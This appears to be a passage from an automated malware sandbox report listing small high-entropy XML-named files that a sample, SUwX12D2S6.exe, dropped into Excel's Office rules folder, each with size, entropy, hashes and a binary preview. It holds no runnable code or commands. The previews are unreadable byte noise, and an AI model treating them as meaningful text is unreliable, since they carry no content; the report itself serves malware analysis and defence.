Preview:	<?xml.b.......Q.`.W#.;N.i....N.F(.....+g.D^....#.A...4..+d...l..d\|q".....[..9.P.VQ...~..WB...Ku3.=.Zp....'PH..2..\..^f;'v......9...[R_t...5.R`.........P.[.F.....q.T(..h.L..Ix.$...=...z...k.._.E...9..ar.7.!.@....j. T.M...B{X,.....9?....I..qz2.sI4.-+..l.-.0.g..:.\..VY.".4.u..^?..QJ..).!<...)....?lT..gt.`0...9...+.K.<L......E...A....K...b...[..{..f.n...e.!...}...P...uH..r..K...:^!.U.....X.Q'=T.V._Y....[..k..5..wl.......SL....F....9nNp..x&N>.E.r.... ..OP..jF..Qt...T..\.h.....g1$..E.......N!O.k5.- z@....-......>..H.Py.(..?.%.2(...+.%z.........9.^.R.S.=......h=......'..g..:Id.....B.....a:?.c^..M...-A....O7.7.Qkj....>D.......o!)..`.....e.....`.(.{...C.\.[>.[..B....m...%....Xu_q..QS3..H.....v...R..............Q,JE..s.`._...b...T./...e..y......x....(i.,...D.....U.=.wq.N/.!O...n..;w......Dz..1bD..W..C./[..*.,3.f..n..T.....h...]......<.~g.=.....'S.M&....N...K..r..zu....0Y.......g..o.........-u.?.4.]...x.,j...5....<@.....A\...M..N..T...s.H....{7Vi

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170027v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	916
Entropy (8bit):	7.789079550532465
Encrypted:	false
SSDEEP:	24:0Bta5Tf9DG24QDbk++JYEtTdhvYpCqN2CUOBtSEvyGQlVbD:HFD+I+mEnpYpCqN3vWlFD
MD5:	7AB794909269A3B3E6818000D0904C23
SHA1:	0B320549C85C7BE3538F6C8639E318D74452E41C
SHA-256:	9589665852D37A1EB3BF4267926B43C043DEA1BB242471AA89D84896710AA2D3
SHA-512:	582093191CD0A3C6A06A0F89AC06098C076CBA0803B7FE580FD72EAD2EED614C0A56778E0DB791A9AABD327E4A53916D3A95A4F1BF733DF81073646B77B6F372
Malicious:	false
Preview:	<?xml...#...#.Lf...!...%.3.TUP.2(..#..+.gg.fM....OEtAs>..h......z:.Yl......$.T...}h...]_T....OR...u....2....f..57O&...zI...Vw@AY...M...U...Bx.GOH...OtYx...X.J.xFp..W1..B..~.fKM.....Rv.......p.....ayUZ..[.^d......"X..~.$I..6c...#...S.Aj.s...0s.fE.W..g..:E...M.&+...k.[^x..X.....f..JL.._......~.V.&,.....j.e...-.....:...mS&.Q9...ei....=^........K&...l.>.u........ .nRa/L..x.E_kL...........T.........b......}p...j..z..2.t....:#-8......_...,.....^`.@......O..^w1t... ...$W4.....(....mC.;..y.#..a]..\|.Zydk..:Qr`../!...G...QR>-x+.../e..m..loU.\|.".....&.Au.%...sU..]e6lz.H\|c..o&....C.NP..Z.....0.[r:....1..$R..X5.......(..H...^bsn.....Z^..uF>.n%..F3.......2..B..J.h.../......Pu..y.....2...........<...x...e......(.x%..!.x.^...$3..y....f..~=.d.......3o....b.bL.V=.<.x.m.dTl.N... u....._...m8.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170030v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	887
Entropy (8bit):	7.780029620801227
Encrypted:	false
SSDEEP:	12:2I8p57GFVxFcVBJqFgi6VVkeK8gcAEW0aXNAqUBrDmxZkzESsSKMhNjVcii9a:2I8v7GFVCiqfKR7JNvrZe39NVbD
MD5:	D0419BCDA55047DB54F2923A445E6F3D
SHA1:	473CF1FCEA78156746E5E0C810ACC926D6700685
SHA-256:	709B55BEF5C108225B0C77D6DF04163D52EE179A4D213ED82804D85F8A6D6F30
SHA-512:	527C9AC83D568BB043954592A0F210544B183CDA7163EC345CB5185B2E435817FA61B6409D22BD0E50A4900001202C9A06493C50DC45E61C67BA28DEF20DF587
Malicious:	false
Preview:	<?xml..`.2...N.L.J..)G.fB..Z/.`P.t.Z..D.b.\|..Z.....\|.i+.....\Y..\|..!.(./.....=."......._..=....V...-h\|.g-.LwP.6.m.)....L.Vjwm.yKga.~..8.f...AZ.j...U..+quV...T!...a.g.O..{^.)S~..Y...K.......NWxq.......Y... .m;>.El...7m......:..j..v.......PxM..k..1....l..&#OU...y...+.+~.05......p...@....\..I...........%.s0Z..+..H..bF.rv.::z..9....)._?....J74k.K\|....:...L.lpG.`...N......./.....J..4..m.......I[....7.jS.Z"...P.....S]..P0.Xx..5..#..(Uc...'.EZ...,S....!.-.<...]......dr..c..;...C..}b.6#.M.(}.$@.Ty....q..3'/.N.Z.....'S{.I..O.C_..3..e...<s.....5....u...enD.37./0........~.Z%...R..Hp..x...!...W<.a.W0.%r....Pu.Y}..27....4y...Q.hr.......:_K.....,.I..F...[l..F}..q....f..=....i.%}......X.`<.:]..vr...&.......W.iH..W..=b..x.P....."3.b..D4...y...R.....7if..}.....-.?itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170032v2.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	975
Entropy (8bit):	7.786236527568913
Encrypted:	false
SSDEEP:	24:uKvagzcjQDr+nHKj/ct6a9zjPT17GbIanLLEQaMVbD:uKrzcjQ0HqcgaZ5KnL4Q/FD
MD5:	484B3C829DD95F150104B977107B2BCD
SHA1:	5E66F530026D7F59ACD22378C2399F1DEA52844C
SHA-256:	0496587C6CB021C637FCB81CB7D185A5F972AD6F72D14346AC39344FEE46DD69
SHA-512:	FE5C7B4F6D9095401104A48017DD06237C9379D6DA2372481281FCF83233DD9912209743FED44A1CBD95EC52AD59786C4569075BB0452F69D9CBF5340B9500A8
Malicious:	false
Preview:	<?xml.vj..FD].t7.u.D........la..t;j.i.9.\i).]4{).....t~)e....... @)1....0.D,-.-62;...1=....7dq..:..x'#.(...AO..i...+j.xa.S.A..../.l............1G&....HU..'.LK...~.B...[....A.'..`..4.a..R.y..@..+6.xd.1g>.U:.e....H.R....r.....=g[.>.&z....cL6>._.#..z."N\|..f781r)d.>......N......a..]...@p#....)H.4Z.7....%..K..?ZB(uc........G!.a....n.'..0.B.GI1p...1w....H..).V..p..UU......[...o}.[~....2., ....S.wa..L-n.....P.DZ..$.n....xO.[.n..4.....P...+.k.._l..(.E.....)d;..}o..D.~.....57u..b....p.j.....;!fo.{(..V7J.......y..Y..]..fSV.....^.;7U..=...O.....f....bws.`,.....:.K....E....`....B;.sP.h...C..p.FM.&...o..ckW.f.O...-..G..`w2..j...X3...=..5.Z.X-:.8 .<.....3.9.b...Yx.A.f.i!j.R.jM..u......Ih.i...v.%.H5...8......Q...Y8..Ed....j...TF...=....{...,.-F?.......w..c.X....H.Z3..f..^...{{....)h..\|.).....eP!...l"...5....D+.......akV..p.i....q..E>.$......iV.....0_ssz....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170033v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	719
Entropy (8bit):	7.686362729735585
Encrypted:	false
SSDEEP:	12:t2c1ME0qCH3D0XcbtlFnEBqJ4yAvXjYS2iqets4FCj6DMgVsp/yxj0vyiPgKjVcq:t2TL4XcZPwG4yiGKtsFw/Vw/nyslVbD
MD5:	F450C4A0C198A07C19A690736833405A
SHA1:	08F2BABE2FACA611E4035F9A2C83621B8CDCD0DD
SHA-256:	F2D33236BB0A1A5D7613CE5F5DE7395833E38F30466C1295E8AA81ADC426D883
SHA-512:	1F02BF105ABD1EB28434C2777741949D8B5E25447C91178495C14338CDC3ED739939D0BED0DF30F4B903559DC0C00FEAEA2A74E8680B14AE9357EB7786A7A06A
Malicious:	false
Preview:	<?xmlD.c..u.a.Th-........8..l.C..8C......vh.....a.....?B..sV?...`.C.........v?...q....\e..3y....~4..au....^...U.6&...@..{A..............)..3.u..rv#..F?8z...<.+1...AP...w.b.s....6..W.q.mb.0......&.=.;-.JcH....>..G.{al..Ax.BhV^.......}.}.....`>.+....."[.....t..z...Bb.._.+V.....T.m..'ZM.*.e....>{....D...S.PV.Rs.H.Jz:P;u1d.!...M..oHb.Wur3VVL.N!.......U@..,A.i..3..B<..[...S'..S..%3;.Q....O#..M.{..........Cj...v.lS]..gIE-"..].......1nuYt...O..m.K_.A.J.d..z....Q.U.....gF..l..5...P..?. /...{.o%.S.]ly.yIyJ..N/.12..8....'.qU....w.U.....;a...%.c.CXFUo.N..........U.2...T...."....n7^.TfE.}.6..;b..j..#..zitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170034v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	7.824928313732388
Encrypted:	false
SSDEEP:	24:L/dvHVErNlSViSuPdzR2M68UUFGFUN8P5xr0plgxVbD:L/JUMVircbUFGFUN8xxr0pixFD
MD5:	A46D8AF22B9C2192448B3BE6C762CAEA
SHA1:	35812F733A364D99EF575956FE8E99624008808D
SHA-256:	C134867434E37FF6773181AF0B2907C6DCEADA8D20880B6F1A10A2D794D4F3E6
SHA-512:	1BC2702260E6C93753BA875E0CB743273C91C16CB6639DE472AE9D761EE4DB96FAA0D556655EF86A3877EB5EF4571F350BA5B002F51C2217AC00AF8423C49ABE
Malicious:	false
Preview:	<?xml..'P&.3.p..m.<.....mu.@.. A&.?..~W.-.`...../D...4..'~....g.[8.5x....A(l......hmN....cM.w"0..k.?.\....;tN..Bae/.:.$...&....4..y.WHb.a.dA......+c....a..20...>(...}...s.....l..M..E.(R._......M....xm.[..r....Hd.n.s,P(...o...D....Z....'.._.......-....:....RA..aL......`........\|9......~]...:.......E...n....%..+4.]kOX...6.sXW}.HP3.`A.\...Z......E.e.z7{.Lg5..>.!...u2..Z.F~....Ho...Q..\.:..r$.....6:.i..M..4Q.P.....`.;8...(T........p~Z.t2"........T. [.'w.o.]U..~...p..e...{.._.C.r.T....{.b.v3..8.........Q...z 0.D5J....-....]..olp7...{.?IX#....fK.#.....c:...~..f..$5....ZJv....Q....6.-g.....B..^....p.E....bP.Zx.8..j.g...'UY]...U......N.._,...../..C._... ...:>6 .g...c....Zq.o.....\|...;...4EI.-/%A...w..P.4...8\|..c@\|...0./..i.;...M.R.....-.b(.k=U......&.Q=..U...k...6../y..h...!.....T...S.d.\|.y........X9f5KG........J.. .................a..L.&.........dy.........vVw.JB'..<........ek..^&\|'r.....p.........2....^...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170035v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1143
Entropy (8bit):	7.818254908624005
Encrypted:	false
SSDEEP:	24:ej5FT3BBjosknPx/Pfd2ym9oMM4XiwBwx8oCwMxVWSPacVbD:erfenZt2tpSwBwyxwM0CFD
MD5:	9B9ED7EDA25A0ED3C90A5F54033370F4
SHA1:	8E01148A6121AFCD35611FD1283655C23ED43E11
SHA-256:	D8917149C375D2AF72D6E3FB53E19399FA4DA0A08380F288C88AB67687C1EEDD
SHA-512:	1AC919110393FBD896136C207FBBA8E8BDD0F96C576CCF868E7026A0BA2DFD95E5E9A165D140A3B811C30C9BE29725B7BB6A4EAEFA4222CBD33EF155373D84F0
Malicious:	false
Preview:	<?xml.r......A.zn5.D..hC.8...J....M.......R.9........@....x.C...Bu.[Q-#.}.t.S:....Nn9".M'..C..@.q5..k.s#v..u.......&..!.Ov..<h..Gp...o.o..-...Ki.L../....-...2,..k..QF{).q.<@.r..t...H=...m..y^\|cT..8.{....V[..[b$....r.....s...q. 7?..2.z.q....5t]2.Lu..+.f.g._.....8G.4.g^....P..&.&.%F..&.hp...~-...OS....c.q>..........u^....9..,N..D..=.x.......R.f...m.J....:@.....K<\|<.Q..h.bl]...oP...x..F}.S}..a.1.o.:$..'O...W.0...w$.x.U..`a.7 .uO.c........j.6f..3....-+..T..r.@D.}...^t#...cQ&....>`..z.B.>.{x.0....L......%...6...f....[O.<6ei..K1..'....#O.y.A4...#....@*p.ZH..s0.@.Q.p.E..X.O..93.Li.....Jp.........U.%^m.D..0.M.!c...&..v....D.Al..'....h..+.p]..>t'...q.......z.'a......5.=.iK~...8).I....l ..sy.........V.7...Q..F.c.M....J8YKj.) \...Z..}....s...d>...%..`O6 o..H.`.".......d.Z.iVy....N..[..;hC..F .3.MJ..P@...\\|..9.....BA...~g..f/.Bu...Z...6..8!.mr.=.....Ko$......m.+..9.;.)./...C..\..W8r..E9..W.......[3..&.<].0.hqn..S........SN?.U2%./.....K.iA.5m.`@..)]..x.Y.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170037v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1503
Entropy (8bit):	7.869830616733846
Encrypted:	false
SSDEEP:	24:AinapqdjDfw8TXrgfBw+mjUn6amutj4SI4JpUIj4e69g7eoGVgV2Vw3vdVbD:AEMADxb0fBrKmtj40JG3yuVsFD
MD5:	11A7DF6C078D6399E1108158E2EB9D49
SHA1:	E4FC59B10BCFA1A7C0F0071106A02FAF98EEDDBD
SHA-256:	44C078D76F6B7BBB6104E5F48FC7E92377E0362169D2C758C7B3FC88280763AC
SHA-512:	2F49BBC2A2571F78839894178068F46F70449399E97078D63F7F39718EF7BB62CC04946730B41E8354E088CAA987524C6EB97B2D8B17DBBA9339193435094731
Malicious:	false
Preview:	<?xml}S..X..nvO1..(..:......RbV..?D.!...q..M........\.as"..H..x...K..S.FEuS.L.\L.....%..4...4U...am..=..M./.&.*.I...d.E>.q0.h..L.P.c....h...R.!.O.X........K..$.....$.j.".T.....f.cm..O...:.E.0..B.lu...Y..?..H....v...)v..&....R.b.+.1.o0....u.(.0.f.........G...E.0+...T\..l.`P....MZ.5....:.Pl.....8{....j4g.v4\..T.d....P.J..d..S&.P.-._..H!t.._.......r.S.o.c..3C.'.A8@....M..c....d%U.l......0X."..]...l3.6.;....c.gg#..m.Y...7@....4....WZP>......+.eN.H.l.5..e.<].z17b...M.w...Y..!........q.l0..>......\..t.tyf.Qq.[6.....i......:.....`..x..9..=..dMt.Tkux^.j.MEb..9...\}.4.&.R.....5...o.x.r.e...c1a,.E.. v.Lt..kP.K..M.?...0/...j'..o....O..-J..;..j#...`..._)..m.....8..>eoI.........+..z.@f...../.+.\|..$....5.m.v\|....tK.."]9'.Pl...<&".../..V.%..v....P.x.l...Hc(.{...].<.:yW$..........Vb...Ip....{..#. '.K{6yzb.U.......,u."pG?.:.Y.$N..P.Vkg....Xjv.k.....&L.B...j.....a...D.Xe.o.......%.}.,b.}.......H.#_n[!.2.......Ka..o..8..f...uI.%S"j....".+]....kk.J

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170038v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1036
Entropy (8bit):	7.780369782896962
Encrypted:	false
SSDEEP:	24:sEfoaZhrYpYGYvKm3Iz9kSIrYZ2aX7pSPfBaFVbD:sEfjoFm3E9kS32BaFFD
MD5:	7BB16FAFC52EF188E09A1989A7CF7180
SHA1:	7D18629C66BA0FE75E98A82C213861C5E67D0081
SHA-256:	65A74B2A49F73F3747B954E5B005AB395CE14D66765C1AE1B47B30888E9A1AB1
SHA-512:	EC4EDC810207FC29773B65CDFF75E6E59F219B18CDC34493EE91F6DA307F3DAC4F947CADE0D36D9C204242CA2071BFAD8D8749F3FEB9E71D6FA7E9ED5B789F16
Malicious:	false
Preview:	<?xmliF..[..#l?.jz\...+BI.;...q_.iU......".z.aN.SH....Y...^.....!2....^..H.........#%..pJ-.GN..,.z...l}......PT..p...o.........b.~2.......6.........Y3}%dZ)....n.1.b]y.34Oi..l..=...'.~.k ...y.....x.'V.N+-....\%..{.........2.K)....omGb"_'...U.t.<..s;K"...f_...B0.`........h..i..k.M....^..Y-..../.m.V\|.jz%4..:8....x..q..ptJ.h.Yn..R.m.#(....^q.Q&}.;.t.hM..^4.=.0..b...G...o..#.<.....T.Km.d2.t...I..O....^."l..C$.E..\|.q.}w.a.\..."&m.#....T11{C.2.llS....~.)(..\.;,.c...Y.Ob)w....x.)%.V.,JD....+=..Z%".O_6....YG.52...l. .....tL.__}...o...M>a..v,.........<cL..'.=S......j...a.P&!.}+'..1.]% ...Fb}...E..%.c8b^.....d.Z..I...h.:.5G}.....NXGR...<....s....4..wa{.o&...6.v....gz....=....adT)....I.?...l......0....G#lS..K..7...0Nm..4!q..W9.t..h..6._q..l..s.trJ(....`Mh"y.....}.l.....:.1:..h.qGz34....#.....k.>..;.*..pU'..c..v..qr:7S...\..I.......o.v...!..i.n....6._f.R...i.C.w.....$.\?...b...D\|R! .t.;.mn..}...j.e-/..Pc..&.; itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{3

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170039v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	7.750295034558386
Encrypted:	false
SSDEEP:	24:aV4f0nnYmXH+kEwuNe+llnSDkIbhNSChK3k0QyrgPPSKGiVbD:aV4KYmXH+kHuNDlSDkIbhZhK3/Qy6Prt
MD5:	6F3B3329E7BEA2E2EE096419D2C5AF2E
SHA1:	96D729BCF3091C10210CF44495CAA4288E0F47B8
SHA-256:	8A1F2CE978ECA6D07F45830F5326E75C7ECD4D68864ED472C1A0BABC6695D7ED
SHA-512:	6EE3BA93686C7F01D67267C63EA90584E29B81B1AFBF4339AC452CC57EC17B5404CAAA797E266737608B6CA9DF1D21117A4A20A5E64EBF1CD9DB459685817878
Malicious:	false
Preview:	<?xml.e>..!.L..O.G.V.N...5.W2.W.n.K~.&.....u..-O.E,.o.....6.3.8.H..Q..{..t3@............:2...fe;.......X......V..~6A.l..@K$.n......\|xrYL...x.._....tmV....?K..`p...\|.@[.N%.bH...F.<.'..Bow].t...{6.\....u.k.~.2..4......_.D...:........>..<..G...Xi...X.S...s._.].g..@....Z.\.M./._..r{}.o...,C[X).[............[.;}/.I....F.......,U./e0}$#.v..`k..N).MQ..O.&_V.."B....:U.75.@..s...}R....b..B'..lX...H.#.....jh....d..9..rN_.l.O... ;..1..P.n_...(.z.(....HdH...Zw.)#6._..2...oR.y.\U;..X....L.z.c..C._?p0.@.&.B....;...xc..-dF.u.J..Xz.....=y..v...^.u.>...;6'....\|.`..~;b..z..e...Gs]$..(`c.m~2.......3...-?....!..m...4.w...b.l5..".l.o.........6...<...F.=...}[.$md._D.SM.\|Ld9CEMLX.wY..8.D<$ ..<..;....r.6.#.(.."..^.....M..(..8c...[..M......+,X`$.......:...W..11..-..OE.....<*F....F.Xky.......N.Q<.P..Q38...\Rr7..&.M-..K.!X2itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170040v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	723
Entropy (8bit):	7.668335032385921
Encrypted:	false
SSDEEP:	12:M4I73BBpuQBePWum+C5fatrF2R6e5hzlJ4OzcWi5+/0DeL9n9GGTzCT3DDRfgQj9:7MMqumJSFReVJtri9eXGGTGLDDRfRVbD
MD5:	31ED0F08993DBD718D35AEEC2CA08195
SHA1:	90687933077B3139D6C423E575AB9E26F7351DF6
SHA-256:	CCBDED51BA89D79EBC38E98CEF0B6DE17769E6DF04C1C71981A8EF5EBE6B6696
SHA-512:	DBDDA1BF59602DD9D83B276C32EA66CA1FD3A7E5B4A847AA7CBBD501A5DC8072CF0D3776936D98A26F0020E769AF9F0098707394FDB08C600AFACC8C40C9CA34
Malicious:	false
Preview:	<?xml.b..>Z,..Oh..w.s.B=...&;6........b...U.+......7c.8...V..Dd^...g......t/..\|r:0uW5l#.O.0.O....$....A..PZ......g}.$M...p..eS..<W...m.._.DS......"..............v.k..2w..Z..AG.H\.........w/...q.<..AN...-.j.q..z...3.;..AU2F.......C#.U.s..K....S.~5.X!'.A.0l..,.g6.\W.J.5.3...........?.......p..Ld>....slr~V..-. ........'..-.$A.'.k...S....5../.;...8...QM.J.H.YK.{..-.{Qn..e...G.HN.$.S.v......?...(P... I.....j..q....8...`\...J1..4.G....:j,.l.V8...P.l..=.ns..M..H ...?.w..v\...Gw.,...Ez......:.p..G.........P.b...\D.^..eA..0`...h_7W.y.6.v.y......>.H...cv.l..D....a...~G7..v...J.?$.../,y}a;.4.._...7...xR$......Ritkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170041v2.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1089
Entropy (8bit):	7.842987780361677
Encrypted:	false
SSDEEP:	24:Hcz8nhBDnn52/O+2sUo4zVITplpMTMWu1LZVbD:Hc4hBDnx+2RBIaTlstFD
MD5:	0BBB9515B0F229D94D0861B4D750B138
SHA1:	7335FDF9D1578E7F51544F23981BF296FE623409
SHA-256:	14F2D651D986BF2E18760054734ECCA308E126F6B719ACA3E31DAF02322E14F0
SHA-512:	A406744390199B7574E960CF85485AC2A8F29F87FD57124C6EA4727331460F38AABC9751FE3665FA7622F0754B494997A27A6D3D9DAB6B3FA44353C233ECAD4D
Malicious:	false
Preview:	<?xml...s,V.#.......F.=..q..Z..ue.w..........)..rOV...v.7M.H.'.x..n8...t..,..a...JfL..1...v.(...&.......z{`..-..k$\|....T~.QO..EW..Q{...p.n..nk.H~...:..8..m..o9wp.>`L{.C..O.m....a.@#D.:......2...i.[.4...n4.@7.oEHk"+.D.K.3...4...^......_s....t......+:.a...%Z.....Q...]....v..I.)..'.F&...7......zP.;.0Dq...5.u..M./y.4A..eo..Bj.xMk.m!9d.-.e...5....r..H..(.#...=,Nl..i'..:.,.z.SgN.."..M.......m.P.>......[..>........B5@.P..1.#.q..o....L..S=.-Y.~..1.67...My_.q...u.........X.......<...^:p."...k..v.._......#~m......w.L6..x.?O.j.<.ye.=."..GL....f.R.&..6..I......1.\:.@3.w=#..x.I.r...:.W/b..o.........Ui.~\|.E..lC..].R..".IX..9S.......5.'.].0.b....#).*r.X.`[.y.)2K.}...<...Z.,...1..... ...G..,).x.%...O...5m1........D.^.z..>.. ....~......<.S....%......2b..#.Y.:9 ys.!.V....h/2.&S.Z.....^.......#T".T.@....{.S.[Il5.A.W...3o...a;uET...`.tk3M.W..5..me...3.N.9 .....Yr..6.......:.!.v..#....@....J..+...nc6l.......H..B..A@.../....k..0..d"....X<>.z.M-.^.p....0...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170042v4.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.80015800928057
Encrypted:	false
SSDEEP:	24:QqYiBN898Tkr7R79W3HqGhvsXryCPOwmn7KQ5nYuVbD:rDBN8aw7RRW3KGh8kW0DFD
MD5:	D73E1A5864793521A77E640145874121
SHA1:	5BCF47B148CB6388191DCB506A2A152645B894B0
SHA-256:	1BEE5DB9995E4834E386940EDF4A95F7687AF9FB69A713471F01670B78ED545F
SHA-512:	8261E9C8F25EAEC6954AF95FF28073937AA04E41A1127AD9AFCB95401FBFD1739FE5D3EAD8ACE28752A6B9C2508D9AED40CFC90B1B99F883E9402488B2988A12
Malicious:	false
Preview:	<?xml.el....#W.o..)!.g...T...Y..j..b..A..Y.Eb=...".....$..D....;..3..\.\Y.......#J.KC..c.Bh...n#1._.a..uf...D..b.5.C..L.H[=..}....V.....-..WS2..?.V..PDjm..yc.p...u2:...g.......M.;T...Kb#...J..n(<..F,...Y.3...Q4..RGP.;..P{.W.....ILS.....e....L....c.%..9.f....)$.L..........//0..o........`.u.;v.NN.g....9.O"c,cY..E.S7.r.F.....+Q.$.....n./t1!...=.Z...:+...3;.F.%..........l.....z...@vr).1tfl.PG}.Og....@..Ro.....%.>....._..DX...80=r..^....k.....{.(W'......HR..T.~.C.OW...fs...].ttT.j..N..f..Y..=........Q..M.:...8..Vi./../.(I.>.@..<@:3.rt{...3......}.>...Z..=P..tm].........lP.=..O.z..1..l6...\|.7..gkGMs2K%F..z6.........f......WM..RX.{.H.V ........h.6...#..fNB. ./?....V.E.:....r..:......\|...5.r......>..~I;S.kL.~F.Q.-...=..;...W..4^.?FQ....GT...?..Z....&..,...U-:.$...u..].Q.;......Ec.j..9.w8....a..F..U..U.u.u.6.....V.i...q.....L...[<m..N'. \*"..nOX.^?..wy.....A(.(X.......B.r^n....-.................\l......l.&W...h.'...aA.e6.Kitkm7MOsOlVQkbEQhWCVEWoMyGFhV

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170043v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.738493358674338
Encrypted:	false
SSDEEP:	12:yP0uCLp7qf8l/k2gw8NmM2WSC1n48kY3qFnyJO25dKwexOGS36qYVsonqK10cPeZ:puCLpu8l/DenqFnyJO2GweUYhPcVbD
MD5:	E50996D982332319F2313A5CC48209BC
SHA1:	53936CDD64620951CB70C293CDEEC2EC32A071EB
SHA-256:	96022E898CAA7C2D2167DA7C0A7074353C6A58C771D7DDE3BF681451AF09274B
SHA-512:	E9B5C56388611D8063074980132B24005B9108D0BEDAABCB665357B56B51878FCAA5960BCD8A7DDC9A6BF65CC8F4A7D013999CEDC43D0E06C1E3052D3FFD0C51
Malicious:	false
Preview:	<?xmld.P.Gd...h...>.b. p.u5...^.....~9.=d..D...P.)......C...:.[.......G..l....].a.......On.......r`h.....dg.Du.^Rq...'.}..:...O.j.S.A........%6..!_.......4....P.\.d.m.y..!.....@:3\.M..`...F.Pd.%..S.T/N8..t.....;........s.........7..........`..+a..VKqo.p#.6...c%.../.%....C.Nc.L........\|......^4.:.7rU..a.<I...>.K.......x.k....hY..........\j..V\|...^...OU..X.8E.rs...1......E.:...+.@=T..!1.j..`I...=..v.1.+paS(.n..N.3..pxz.,.g.\3....x.4..L....&.J.*p..N..#v.#..d....[s..S\..H1...I.`.F<.<..'q..B....b\|C..p...(..r....y..\Z.wL_.[...~.;P..j.C...(..D5.i.n...6..#.Y`.....Z...Mv.x....4HTt....].......(Lz]g.m./..7I......... .k...^...B..&.k...F.b.s.,.1i(...!..r.P..\<@....<..V!X.I\~.Q.N..X..F1itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170044v4.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	853
Entropy (8bit):	7.720670044298903
Encrypted:	false
SSDEEP:	24:byXGOHl6hvBSYXLND3m9x99j5r7vcmMvOmjpPWKb6VbD:bSZlbULN4xF+OK+FD
MD5:	74BDC8AEEF68CC390969959F9FB94350
SHA1:	2B91D53DE65FA4DD7783F6E9EA13C63C5B269C56
SHA-256:	B0E7D99D3F6E584532EED927B03B0C05B45D4394BB5F2746124AEA0F23D0A249
SHA-512:	D9E00328722589A24A1D15A2811D83A9623AF874083746AC1A91ACB1F7573132CE8EE52CA9AE3A2B6DF19788574CE5C299784A9B58D6FF070311F27949F18389
Malicious:	false
Preview:	<?xml.H+.%.....nm.CL.3.t..\|.#.Z:..{......^..q{.....n.?%..."..H....5eVI...X..}gb......7.g.>.......)W...'....5........2.h.r#..q.;P.. ....]V%..o...G.!...........FC0.Q+?..D(.F..1.a.x^<.......5...=.i.702.i0.f.o....v.W....Jrq..v.v.;.F.O.a..=.......~..5.@...5q....7.w..m...?L$v......F\..?.\...m.(..n..2^......!..O....;:I......{....~.....pwo.>I.O./x.l.hJ...x.v...a.7....^...[.K.,0...P......_..o..`...<..G....'D.a.. q&..}.....i....).pk..q.L`\/eh.dJYWW....esw........h....J.W.'.GIg.W.Y6'..L6EmB..\l]9.........%g.jh.LUM....~..a.k.....G...q.rZ..d...2.c..\|.M..Q\|_G.@.y..~Oj6...2..0...w.pQ.5\|.38A...t..Vn.^....l.Nf...Y.h)..`.B.v...L....2.R._x.,........T.2.G.Z.8...>\|../.$W...O3.g..T5.=.f.!..L...:"[.8..,.'.Q.l..^9...Y.2.].......;.;Kq....Witkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

